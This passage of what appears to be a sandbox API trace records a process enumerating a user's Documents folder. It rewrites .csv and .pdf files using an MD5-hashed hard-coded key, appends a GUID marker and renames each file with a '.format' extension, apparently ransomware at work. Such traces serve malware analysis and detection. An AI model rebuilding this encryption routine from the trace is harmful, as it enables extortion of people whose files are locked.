hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.325] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.326] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.327] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\") returned="ZHL2s_-N8agn\\" [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.327] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\") returned="yiub\\" [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cd28 | out: hHeap=0x5d0000) returned 1 [0068.327] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.327] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286da0 | out: hHeap=0x5d0000) returned 1 [0068.327] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.327] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.327] PathFindFileNameW (pszPath="") returned="" [0068.327] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.327] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe095030, ftCreationTime.dwHighDateTime=0x1d4c913, ftLastAccessTime.dwLowDateTime=0x473abdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6fb, ftLastWriteTime.dwLowDateTime=0x473abdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.327] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.328] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe095030, ftCreationTime.dwHighDateTime=0x1d4c913, ftLastAccessTime.dwLowDateTime=0x473abdf0, ftLastAccessTime.dwHighDateTime=0x1d4c6fb, ftLastWriteTime.dwLowDateTime=0x473abdf0, ftLastWriteTime.dwHighDateTime=0x1d4c6fb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.328] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957f5a0, ftCreationTime.dwHighDateTime=0x1d4d044, ftLastAccessTime.dwLowDateTime=0x994b5090, ftLastAccessTime.dwHighDateTime=0x1d4c620, ftLastWriteTime.dwLowDateTime=0x994b5090, ftLastWriteTime.dwHighDateTime=0x1d4c620, nFileSizeHigh=0x0, nFileSizeLow=0x119b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ck3vXIHItmOFDrYXb.csv", cAlternateFileName="CK3VXI~1.CSV")) returned 1 [0068.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.328] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac238 | out: hHeap=0x5d0000) returned 1 [0068.328] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Ck3vXIHItmOFDrYXb.csv") returned=".csv" [0068.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Ck3vXIHItmOFDrYXb.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\ck3vxihitmofdryxb.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.328] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=72112) returned 1 [0068.328] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.330] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1198a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.330] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.331] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.331] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.331] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.331] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x119b0, lpOverlapped=0x0) returned 1 [0068.332] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.332] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.332] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.332] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.332] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.332] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.332] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.332] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.332] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.332] GetLastError () returned 0x0 [0068.333] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.333] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.333] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x119b0) returned 0x32b2f40 [0068.333] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0068.333] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0068.333] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x119ab, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x119ab, lpOverlapped=0x0) returned 1 [0068.333] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0068.333] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x119b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.334] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.334] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0068.334] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0068.334] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0068.334] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0068.334] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.334] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.334] CloseHandle (hObject=0x5c8) returned 1 [0068.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edd50 [0068.335] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.335] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edd50 | out: hHeap=0x5d0000) returned 1 [0068.335] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Ck3vXIHItmOFDrYXb.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\ck3vxihitmofdryxb.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\Ck3vXIHItmOFDrYXb.csv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\ck3vxihitmofdryxb.csv.format")) returned 1 [0068.336] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.336] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.336] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.336] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x533b9f10, ftCreationTime.dwHighDateTime=0x1d4c9ef, ftLastAccessTime.dwLowDateTime=0xfa96800, ftLastAccessTime.dwHighDateTime=0x1d4d411, ftLastWriteTime.dwLowDateTime=0xfa96800, ftLastWriteTime.dwHighDateTime=0x1d4d411, nFileSizeHigh=0x0, nFileSizeLow=0x16251, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lLiekJL.pdf", cAlternateFileName="")) returned 1 [0068.336] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac238 [0068.337] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\lLiekJL.pdf") returned=".pdf" [0068.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\lLiekJL.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\lliekjl.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.337] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=90705) returned 1 [0068.337] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.339] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1622b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.339] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.340] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x16251, lpOverlapped=0x0) returned 1 [0068.340] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.340] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.341] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.341] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac238) returned 1 [0068.341] CryptCreateHash (in: hProv=0x6ac238, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.341] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.341] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.341] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.341] GetLastError () returned 0x0 [0068.341] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.341] CryptReleaseContext (hProv=0x6ac238, dwFlags=0x0) returned 1 [0068.341] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.342] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x16251, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.342] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.342] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.342] CloseHandle (hObject=0x5c8) returned 1 [0068.343] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\lLiekJL.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\lliekjl.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\lLiekJL.pdf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\lliekjl.pdf.format")) returned 1 [0068.344] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.344] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.345] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0068.345] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe179b20, ftCreationTime.dwHighDateTime=0x1d4cc13, ftLastAccessTime.dwLowDateTime=0x83c4a0d0, ftLastAccessTime.dwHighDateTime=0x1d4c564, ftLastWriteTime.dwLowDateTime=0x83c4a0d0, ftLastWriteTime.dwHighDateTime=0x1d4c564, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pgl1JgetxAYIiS", cAlternateFileName="PGL1JG~1")) returned 1 [0068.345] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dac78a0, ftCreationTime.dwHighDateTime=0x1d4d4f8, ftLastAccessTime.dwLowDateTime=0xc0052ca0, ftLastAccessTime.dwHighDateTime=0x1d4c5a4, ftLastWriteTime.dwLowDateTime=0xc0052ca0, ftLastWriteTime.dwHighDateTime=0x1d4c5a4, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QRZRxkH5oTlCYK.csv", cAlternateFileName="QRZRXK~1.CSV")) returned 1 [0068.345] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\QRZRxkH5oTlCYK.csv") returned=".csv" [0068.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\yiub\\ZHL2s_-N8agn\\QRZRxkH5oTlCYK.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yiub\\zhl2s_-n8agn\\qrzrxkh5otlcyk.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.345] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=3588) returned 1 [0068.345] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.348] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.348] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, 